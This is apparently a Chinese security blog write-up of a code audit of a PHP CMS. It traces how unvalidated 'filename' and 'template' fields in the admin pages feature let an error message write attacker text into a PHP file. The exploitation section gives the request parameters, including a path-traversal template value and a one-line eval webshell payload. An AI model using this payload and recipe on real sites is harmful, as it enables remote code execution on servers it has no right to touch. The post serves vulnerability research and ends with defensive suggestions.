前言
出于对审计的热爱，最近审了一下某 cms，审出了个后台 getshell，虽然危害不算太大，但是过程很有意思，在这里分享一下。
漏洞发现
代码审计
翻翻找找中找到了，这个函数：
function saxue_writefile( $_fileurl, $_data, $_method = "wb" ) {
$_fileopen = @fopen( $_fileurl, $_method ); // 尝试打开文件
if ( !$_fileopen ) {
return false;
}
@flock( $_fileopen, LOCK_EX );
$_ret = @fwrite( $_fileopen, $_data ); // 写入内容
@flock( $_fileopen, LOCK_UN );
@fclose( $_fileopen );
@chmod( $_fileurl, 511 );
return $_ret;
}这是个纯洁的函数，没有任何的过滤，第一个参数是 文件名，第二个参数是 内容，这和 file_put_contents 函数一样。
现在我们有个 “高危函数”，我们可以找找哪里调用了他， 又经过了很多次翻翻找找，在 adminpages.php 下有一段引起了我的注意：
case 'html':
...
$row = `从 pages 数据表中获取值`;
saxue_writefile(
$filepath . '/' . $row['filename'] ,
$saxueTpl -> fetch( SAXUE_THEME_PATH . '/pages/' . $row['template'] )
);
...这里省略了大部分代码，留下了两行关键的。
之所以注意起这行代码，是因为我看到这个最后的 $row['filename']。我就基本盲猜他是从数据库中拿出来的，这就说明了，我们有可能可以通过后台某项设置控制它。
然后我们看看第二个参数也是从 row 取出来的，当然，你会看到第二个参数还经过了一个函数： $saxueTpl -> fetch 。
由于他取出来的是 template 而且是 fetch 函数，我再一次盲猜他是获取文件内容的，这里暂时先不跟。
现在我们来看看这两个数值到底能不能控制，在 case html 下面，紧跟着的是 case add，我们来看看这个 case add。
case 'add':
$row = array();
if ( isset( $_POST['dosubmit'] ) ) {
$_POST['item'] = strtolower( trim( $_POST['item'] ) );
$_POST['title'] = trim( $_POST['title'] );
$_POST['content'] = trim( $_POST['content'] );
$_POST['htmldir'] = trim( $_POST['htmldir'] );
$_POST['htmlurl'] = trim( $_POST['htmlurl'] );
$_POST['filename'] = trim( $_POST['filename'] );
if ( isset( $_REQUEST['id'] ) ) {
$data = $data_handler -> create( false ); // 编辑时调用到此处
} else {
$data = $data_handler -> create(); // 根据 $_POST 创建一个数组，方便插入。
}
if ( !$data_handler -> insert( $data ) ) { // 插入 $data ，即 $_POST 的数据
saxue_printfail( LANG_ERROR_DATABASE );
}果不其然，我们在这里看到了我们的 filename，在下面 insert 了，其间没有任何过滤。
当然你还会看这里没有 template，但是真的没有吗？我们可以测试看看。
漏洞测试
实践是检验真理的唯一标准。
访问后台的 pages.php：
点击添加单页，然后抓包：
当然，能不能任意改值呢？比如 filename 改成 .php 后缀，template 改成别的路径的文件可以嘛？
我们试试：
数据库：
最后我们要验证 fetch 函数到底是不是获取文件内容的，我们也不需要跟进函数内部，直接测试就好。
我们看到 联系我们 这个 template 是 about.html。我们去改一下 about.html 试试看：
然后此时触发那个 case html 下的代码。其实就是 pages.php 下的这个功能 ：
生成一下：
成功了。。现在我们可以兴高采烈地去写 shell 了。
漏洞复现
漏洞利用
想一下怎么利用，因为我们现在也没有文件可以给我们控制。
其实我们很容易想到上传一个图片文件，然后读取文件图片写 shell ，上手试试，那么哪里可以上传图片呢？第一个想到的当然是写文章的地方啊：
然后我们这时候用刚刚抓到的包再添加一个，构造一下 参数：
filename=test.php
template=../../../../attachs/image/1905/2722001482207.png这里 template 是根据相对路径写出来的。
生成一下，访问，满心欢喜的期待着我们的 shell 出现：
What？出现了什么问题，我们去看看生成出来的文件（/about/test.php）：
为什么我们的文件名没了一半？看看数据库：
没错，我们的字段限制了长度：
在思考片刻后，我突然想到：文件名输出在了我们的 php 中
没错，我们可以把文件名写成一个 shell，这样我们就可以连图片也不用上传了。
改改参数：
filename=test.php
template=<?php eval($_GET[1]); ?>再次重复刚刚的步骤，修改，然后生成：
成功了。。
访问 /about/test.php 试试：
字符串溯源
当然，这是一篇 审计区 的文章，秉着求知欲，我们看看这个字符串哪里来的。
回到一开始 pages.php 下 case html，就是这句话：
saxue_writefile(
$filepath . '/' . $row['filename'],
$saxueTpl -> fetch( SAXUE_THEME_PATH . '/pages/' . $row['template'] )
);我们跟进 fetch 函数。
（这里因为代码比较多，我用了 XBEBUG 找到了关键位置。）
关键位置：
ob_start();
if(
$this -> _is_compiled( $template_file, $_template_compile_path ) ||
$this -> _compile_resource( $template_file, $_template_compile_path
))
{
include( $_template_compile_path . $this -> _compile_prefix );
}
$_template_results = ob_get_contents();
ob_end_clean();倒数第二行的 $_template_results 就是返回值，这里是从 ob_get_contents 获取的。也就是缓冲区，但是从 ob_start 处到 ob_get_contents 就经历了一个 if 和一个 include。
我们先看看 if 的第一个条件：
$this -> _is_compiled( $template_file, $_template_compile_path )
这里说明一下第一个参数是我们数据库里 template 的值。
跟进一下 _is_compiled 函数：
public function _is_compiled( $tpl_file, $compile_path ) {
....
if ( !is_file( $tpl_file ) ) {
return false;
}
...
}这里依然省略了一些代码，因为正常来说就是判断了 $tpl_file 是否存在，由于我们写的是一句话，所以不可能是文件，返回 false。
因为是 ||，那么就会进入第二个判断：
$this -> _compile_resource( $template_file, $_template_compile_path )
跟进 _compile_resource 函数：
public function _compile_resource( $tpl_file, $compile_path ) {
if ( !is_file( $tpl_file ) ) {
echo "Template file (" . str_replace( SAXUE_ROOT_PATH, "", $tpl_file ) . ") is not exists!";
return false;
}没错，这里还是判断了是否是文件，如果不是就输出 模板文件 $tpl_file 不存在，这句话里带有我们的文件名，此处的 str_replace 替换了一个无关紧要路径。
跳出函数，因为我们在 _compile_resource 函数内 echo 输出到了缓冲区。所以在下面获取的时候缓冲区内的数据就是：
Template file (/templates/pc/pages/<?php eval($_GET[1]); ?>) is not exists!
ob_start();
if (
$this -> _is_compiled( $template_file, $_template_compile_path )
||
$this -> _compile_resource( $template_file, $_template_compile_path // 如果文件不存在，输出一句带有文件名的话，存入缓冲区
)) {
include( $_template_compile_path . $this -> _compile_prefix );
}
$_template_results = ob_get_contents(); // 获取缓冲区的值，接下来会返回此时这个字符串就被我们纯洁的 saxue_writefile，写进纯洁的 test.php 里了。
总结
这个漏洞其实还是很简单的，防御的话，我觉得可以在 fetch 函数中判断是否有一些特殊字符，或者干脆在找不到模板的时候干脆不输出文件名。其实我觉得应该还可以更好的防御方法，但是由于水平有限，希望表哥们如果有更好的方法可以一起探讨交流。
